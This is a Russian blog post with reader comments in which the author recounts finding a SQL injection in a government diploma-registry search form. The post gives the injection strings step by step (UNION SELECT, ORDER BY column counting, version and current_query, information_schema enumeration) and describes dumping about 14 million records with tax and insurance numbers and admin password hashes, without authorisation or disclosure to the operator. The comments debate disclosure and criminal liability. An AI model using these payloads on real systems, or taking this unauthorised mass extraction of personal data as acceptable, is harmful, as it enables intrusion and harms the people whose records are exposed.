Одиноким вечером, глядя на свою пустую зачётку и осознавая, что конец близок, я снова задумался о том, как бы мне сейчас собрать сумку, или даже просто рюкзак, положить туда рубашку, шорты и свалить в тёплую страну. Было бы хорошо, да вот с дипломом живётся намного лучше. Во всяком случае, мне всегда так говорят.

Также часто слышал много историй про людей, которые приходили на собеседования с красными дипломами МГУ, но при этом абсолютно не разбирались в своей специальности, а потом на корпоративах признавались, что диплом у них купленный.

Но времена сейчас другие, сейчас 21 век, век больших возможностей, любой работодатель, который умеет пользоваться мышкой и знает, как выглядит браузер на рабочем столе, может проверить данные диплома. Каждый диплом, который выдаётся учебным заведением, теперь регистрируется в едином реестре, доступ к которому есть у каждого через сайт Федеральной службы по надзору в сфере образования и науки.

image
Для получение информации о документе об образовании достаточно просто заполнить форму, передвинуть слайдер и нажать кнопку. Вам либо покажут информацию о документе, либо скажут, что такого нет (но ещё рано обвинять соискателя в обмане, мало ли, что могло произойти).

image

Ну и пока я смотрел на эту форму, решил я с ней поиграться. Повводил всякой чепухи, и бац — на поле, в которое было введено 1', я получаю такой response:

<h2>Произошла ошибка</h2>
<p>SQLSTATE[42601]: Syntax error: 7 ERROR:  syntax error at or near "4"
LINE 6: ...me) = UPPER('1'')) AND (doc.education_level_id = '4') AND (U...
                                                             ^</p>

Голый SQL Injection. Очевидно, что задачи продумать обработку ошибок перед разработчиком не было. Задача была сделать сервис, который работает. Сервис, который является гарантом. Так одинокий вечер превратился в весёлую одинокую ночь.

Ещё будучи подростком я очень любил всякие крутые истории про хакеров, а после того, как решил заняться программированием, изредка почитывал и интересные статьи по взлому и прочему. Так что то, что нужно делать дальше — я знал.

Так как разработчик этого сервиса дал нам удовольствие видеть ещё и часть запроса, то мы можем с уверенностью предположить, что это SELECT запрос. Теперь нам нужно как-то обнулить действие запроса, записанного в php-скрипте, а потом с помощью переменной вставить свой.

Для обнуления запроса достаточно просто добавить невозможное условие и закомментировать последующие строки запроса, что-то наподобие:

Инъекция
...me) = UPPER('1') AND (1=0)) — ')) AND (doc.education_level_id = '4') AND (U…

В ответ просто пришло сообщение о том, что документ не найден.

Также пробовал использовать вместо невозможного условия, наоборот, очевидные. А именно пробовал искать какой-либо документ по id. Писал id=1, id=1024 и прочее, но результатов не дало. Видимо, id давно перевалило за тысячи (спойлер: за миллионы).

Также я совершенно не надеялся на то, что запрос придёт без ошибки. Я был уверен, что пробелы будут экранироваться, удаляться, запрещаться, ещё что-нибудь. Ведь в форме на странице поиска ввести фамилию с пробелами невозможно. Но всё оказалось в разы проще.

Ну а теперь бы хотелось вытащить что-то действительно интересное. Изменить структуру ответа мы не можем никак, то есть если в запросе были, например, SELECT id, name, count, то так оно и останется. Значит надо подстраиваться, а для начала понять, какие же данные запрашиваются из БД, и, главное, сколько? Существует много способов узнать количество полей, но мне помог только ORDER BY. Как это работает?

ORDER BY сделан для сортировки, но его синтаксис не требует обязательно указывать имя поля, достаточно указать его позицию в запросе. Если указать номер позиции больше, чем количество запрашиваемых полей — то будет ошибка. Методом перебора можно подобрать количество полей. Их оказалось 55.

Хочется понять, с чем же мы работаем, что это за база данных такая? Предположим, что это MySQL, в MySQL есть функция Version(), которая возвращает версию БД. Применим:

Инъекция
...me) = UPPER('1') AND (1=0)) UNION SELECT 1,version(),тут ещё 53 поля, типы которых ещё надо определить методом подбора')) AND (doc.education_level_id = '4') AND (U…

В ответ пришёл JSON, в котором было:

PostgreSQL 9.1.2 on x86_64-alt-linux-gnu, compiled by x86_64-alt-linux-gcc (GCC) 4.5.3 20120111 (ALT Linux 4.5.3-alt1.M60C.1), 64-bit

Отлично, мы знаем систему, версию БД (под неё вроде даже эксплоиты были). Поле для действия расширилось. Узнаём, как выглядит запрос:

Инъекция
...me) = UPPER('1') AND (1=0)) UNION SELECT 1,current_query(),тут ещё 53 поля, типы которых ещё надо определить методом подбора')) AND (doc.education_level_id = '4') AND (U…

Ответ:

"SELECT "doc".*, "doc_type"."type", "stat"."name" AS "status", "level"."name" AS "level", "rec"."name" AS "rec_name", "rec"."surname" AS "rec_surname", "rec"."patronymic" AS "rec_lastname" FROM "documents" AS "doc" LEFT JOIN "document_types" AS "doc_type" ON doc_type.id = doc.document_type_id LEFT JOIN "document_packages" AS "dp" ON doc.document_package_id = dp.id LEFT JOIN "documents_status" AS "stat" ON stat.id = doc.status_id LEFT JOIN "education_levels" AS "level" ON level.id = doc.education_level_id LEFT JOIN "recipients" AS "rec" ON rec.id = doc.recipient_id WHERE (dp.status = 3) AND (doc.organization_id = '573') AND (doc.year = '2018-01-01') AND (UPPER(rec.surname) = UPPER('1')) UNION SELECT 1,current_query(),'3', '4', '5', '6', '7', '8', '9', '10', '11', '12', '13', '14', '15', '16', '17', '18', '01.01.1970', '01.01.1970', '21', '01.01.1970', '23', '24', '25', '26', '01.01.1970', '28', '29', '30', '31', '32', '33', '28-05-2004 11:11:59', '35', '36', '28-05-2004 11:11:59', '38', '39', '40', '41', '42', '43', '44', '45', '46', '47', '48', '49', '50', '51', '52', '53', '54', '55' -- ')) AND (doc.education_level_id = '4') AND (UPPER(doc.series) = UPPER('1')) AND (doc.number = '1') LIMIT 1"

Вся картина перед нами.

Попробуем узнать, что же за таблицы есть во всей базе данных:

Инъекция
...me) = UPPER('1') AND (1=0)) UNION SELECT 1,table_name,тут ещё 53 поля, типы которых ещё надо определить методом подбора FROM information_schema.tables — ')) AND (doc.education_level_id = '4') AND (U…

Таким образом получили все таблицы. Узнаём столбцы каждой таблицы следующим образом:

Инъекция
...me) = UPPER('1') AND (1=0)) UNION SELECT 1,CONCAT(column_name,' ',data_type,' ',is_nullable),тут ещё 53 поля, типы которых ещё надо определить методом подбора FROM information_schema.columns WHERE table_name='Какое-то имя таблицы' — ')) AND (doc.education_level_id = '4') AND (U…

Итак, зная структуру базы данных, я написал скрипт на Питон и выкачал все самые интересные на мой взгляд данные. А именно:

Таблицу с дипломами об образовании (серия, номер, год поступления, год окончания, СНИЛС!, ИНН!!, серия и номер паспорта (честно говоря, у всех записей поля пустые, но сам факт!), дата рождения, национальность (зачем?), учебная организация, выдавшая документ), таблицу с гражданами с образованием (там всё проще: ФИО и всё), таблицу с пользователями системы (стандартно, логин, email, и, НЕОЖИДАНО, md5 хэш пароля, хоть не сам пароль), отдельная таблица admin с одной записью (так же: логин, хэш пароля и прочее), таблица с информацией об учебных заведениях (кто начальник, email, телефон, лицензия — в общем всё, что и так есть в открытом доступе) и ещё кучу вспомогательных таблиц.

По объёмам получилось: около 14 000 000 документов об образовании, около 14 000 000 записей с данными о бывших студентах, 1322 пользователя системы, 1 админ, который логинится по будням в системе, видимо, когда на работу приходит, 3391 учебное заведение и горы непонятной информации типа ОКОГУ и прочее. База весом 5 гб.

А теперь представьте, сколько времени это качалось. Вы думаете, кто-то заметил? Может быть сервис резко отключился, ip заблокировали или ещё что-то? НЕТ!

Конечно, целью не является использовать эту информацию в корыстных целях (да я и не представляю, как). Иначе бы я не писал статью здесь. Но и писать лично администрации сайта или кто там за него отвечает я тоже не горю желанием, хватило истории про Микротех.

Дополнительно решил проверить хэши по радужным таблицам. Не уверен, конечно, что они хэшировались именно голым md5, но, во всяком случае, в открытых базах данных совпадений ни к одному хэшу не нашлось. Или я что-то не умею.

Мог бы я продолжить и получить доступ в систему? Смог бы я сам изменять записи и добавлять свои? Вполне возможно, но я решил этого не делать. Да и сессию надо закрывать, без диплома-то никак…

UPD: Так как статьи на Хабре про Микротех уже нет, вот рабочий кэш от пользователя dartraiden

Комментарии (39)


  1. YaRobot
    29.01.2018 12:44
    +2

    Но и писать лично администрации сайта или кто там за него отвечает я тоже не горю желанием

    Не стоит публиковать открытые дыры на хабре.
    Все же сначала лучше написать администрации и уведомить, что будет публикация уязвимости через Х дней.


    1. Loki3000
      29.01.2018 13:22

      И, не теряя времени, начать собирать вещи и сушить сухари. Нафиг-нафиг.


      1. YaRobot
        29.01.2018 13:24

        Однако я находил две серьезных уязвимости на mos.ru, репортил их и проблем не было.


        1. Loki3000
          29.01.2018 13:29
          +2

          Я сто раз перебегал дорогу на красный свет и проблем не было.


        1. sanaf
          29.01.2018 14:14

          Тоже сразу в паблик информацию кидали? Или как нормальные люди — в поддержку сервиса?


      1. NoraQ Автор
        29.01.2018 13:28

        Нет, почему, я бы вполне мог создать одноразовую почту на каком-нибудь зарубежном сервисе и написать им с него. Но, давайте честно, вместо того, чтобы прикрыть уязвимость, будут сначала пытаться искать отправителя. А сейчас, когда, я надеюсь, набегут скрипт-кидди или реально серьёзные люди до данных — они будут вынуждены сначала закрыть сайт, а потом латать дыры.


        1. Cryvage
          29.01.2018 14:48

          они будут вынуждены сначала закрыть сайт, а потом латать дыры.

          Тем временем, сайт уже не работает.


  1. alexsibtone
    29.01.2018 13:11

    Интересный тренд. Гос и прочие структуры на сообщения об уязвимости на их информационных ресурсах не устраняют оные, но преследуют граждан по доброй воле сообщившие об этом.
    — Добрый день господа, на вашем ресурсе по адресу … обнаружена уязвимость…
    Уведомляю вас что через семь дней будет размещена публикация о подобном случае, она поможет вам мотивировать разработчиков для устранения несоответствия.
    как то так.


  1. sanaf
    29.01.2018 13:13

    Ссылка на Микротех уже не работает — публикация скрыта.
    Слабо представляю, как тут можно вырулить по-хорошему: неправомерный доступ к информ.системе уже произведён, перс.данные скопированы из «защищённого» контура — т.е. формальные признаки правонарушения налицо. Не в интересах автора лично обращаться к федералам, они не поймут благих намерений.


    1. alexsibtone
      29.01.2018 13:25

      Автор на полном серьезе должен сообщить, что данную историю услышал в кафе от незнакомых лиц и сделал публикацию. Какие могут быть в таком случае претензии?


      1. bjornd
        29.01.2018 14:06

        >данную историю услышал в кафе от незнакомых лиц
        В каком кафе? Какие лица?


        1. vlreshet
          29.01.2018 14:51

          Кафе «Берёзка», два лица славянской национальности, без особых примет


  1. Superl3n1n
    29.01.2018 13:29

    Но сам то IP адрес с которого производилась выкачка то остался в логах. По этому все еще можно идентифицировать автора. Если же автор конечно не через proxy или tor все делал.


    1. NoraQ Автор
      29.01.2018 13:33

      Конечно же, не со своего IP)


      1. Vehona
        29.01.2018 13:42

        Но первую, пусть и случайную, инъекцию вы наверно все же сделали со своего IP. Если вы не выждали месяцы, то с высокой вероятностью подозрения пойдут именно на него, если конечно не каждый второй пользователь натыкался на эту проблему самостоятельно.


        1. NoraQ Автор
          29.01.2018 13:45

          Нет) Не со своего)


  1. GBA
    29.01.2018 13:31

    К сожалению, это палка о двух концах, как верно уже написали выше. По-хорошему (и по-совести), нужно сообщать разрабам. Но внятного общего механизма пока нет и можно навлечь приключений на свою точку. Это смотря на кого нарвешься.
    Можно попробовать петицию создать, чтобы министерство связи разработало такой механизм хотя бы для гос.порталов (с)Арказм


    1. sanaf
      29.01.2018 13:45

      Писать надо обращения в РосКомНадзор, они обязаны принять обращение и в положенный срок ответить о принятых мерах по устранению недостатков. В РосОбрНадзор писать бесполезно: они облажались и не в их интересах принимать правильные решения в данной ситуации.


  1. Reason89
    29.01.2018 13:35
    +1

    На мой взгляд куда большие проблемы могут возникнуть выложив информацию об открытой уязвимости здесь, с полным мануалом о том, как ее использовать. Нежели если бы вы сначала уведомили об этом разработчиков и дождались закрытия уязвимости. Во всяком случае, если вы боитесь гонений, уведомить разработчиков можно и анонимно.


  1. ildarchegg
    29.01.2018 13:47

    наверно кого-то уволят…


    1. Germanets
      29.01.2018 13:51
      +2

      «Кого-то», скорее всего даже не брали на работу…


    1. Superl3n1n
      29.01.2018 13:52
      +1

      Сомневаюсь. Сайт скорее всего разрабатывался сторонней организацией через тендер. Администратор ресурса тут не при чем. Т.к. Ошибка именно в коде. А т.к. данный сервис является публичным и соответственно трудно отличить полезную нагрузку от выкачки всей базы целиком.


      1. NoraQ Автор
        29.01.2018 13:54

        Ну тут сомневаюсь, не думаю, что к сайту прилетают запросы чаще, чем раз в минуту.


  1. nerudo
    29.01.2018 13:58

    Предлагаю голосовалку прикрутить: Считаете ли вы необходимым наравне с врачами ввести уголовную ответственность для программистов?


    1. DROS
      29.01.2018 14:07

      По моему у нас уголовная ответственность уже и так введена по всем фронтам. Только это не официально, а исподтишка. Шагнул не туда — на тебе по сусалам. Посмотрите на законы последних лет.


  1. Akon32
    29.01.2018 14:04
    +1

    Ха.
    В некотором царстве, в некотором государстве, лет 10 назад, один мой друг обнаружил, что результаты ЕГЭ выпускников школ города примерно за 2004-2008 годы лежат прямо на региональном сайте управления образования, в открытом доступе, в .xsl-файлах, вместе с номерами паспортов всех выпускников.


    1. sanaf
      29.01.2018 14:17

      Через пару часов из дома напишу обращение в Роскомнадзор со ссылкой на статью. Думаю, у автора есть около суток для изложения статьи в рекомендуемой стилистике, если сочтёт нужным (:


  1. tacitus
    29.01.2018 14:06

    А что за история с Микротех? Ссылка в статье нерабочая.


    1. zabbius
      29.01.2018 14:16

      погуглите Che Burashka


    1. dartraiden
      29.01.2018 14:17

      sohabr.net/habr/post/347262

      В кэше Гугла тоже пока лежит. Всё думаю допилить свой юзерскрипт (при переходе к удалённой публикации перенаправляет автоматически в кэш поисковика) для работы с сохабром, но нет времени…


    1. DLavruhin
      29.01.2018 14:24

      Разбор валидации напечатанных билетов на пригородные поезда. С почти точным объяснением как и что сделать, как можно их печатать и что показывать контролерам. Единственное чего не хватало — алгоритмов и рабочих программ, а так почти руководство.


    1. Vanored
      29.01.2018 14:24

      В webarchive есть копия, можно там глянуть.


  1. ExplosiveZ
    29.01.2018 14:17

    Микротех: sohabr.net/habr/post/347262
    Надеюсь, не попаду под раздачу НЛО.
    (ого, одновременно запостили)


  1. romka777
    29.01.2018 14:26

    Мне кажется, Вас уже ищут компетентные органы. В статье уголовка на лицо.


    1. vilgeforce
      29.01.2018 14:28

      Если единственный способ проверить наличие уязвимости — совершить «преступление», то что-то не так. И не в том, кто ищет уязвимости.


      1. Superl3n1n
        29.01.2018 14:40

        Вся соль заключается в том, что автор написал к каким данным получил доступ и «скопировал» (именно такая формулировка в статье) их себе.


    1. sanaf
      29.01.2018 14:41
      +1

      Не нагнетайте (: Не думаю, что органы у нас такие уж компетентные…

      «На лицо» будет, когда экспертиза на винте данные найдёт, а следствие докажет, что они были получены неправомерно. До этого момента ещё как до Китая задним ходом.

      «Уголовка» будет, когда экспертиза, по результатам исследования доказательств, подтвердит суду, что именно подсудимый, имея противоправные намерения, выполнил команда delete from… Это тоже долго и непросто.


      1. Superl3n1n
        29.01.2018 14:44
        +1

        УК РФ Статья 272. Неправомерный доступ к компьютерной информации. А текущая статья автора — чистосердечное признание.


        1. sanaf
          29.01.2018 14:51
          -1

          >> А в этой статье чистосердечное признание
          В реальном мире всё немного сложнее.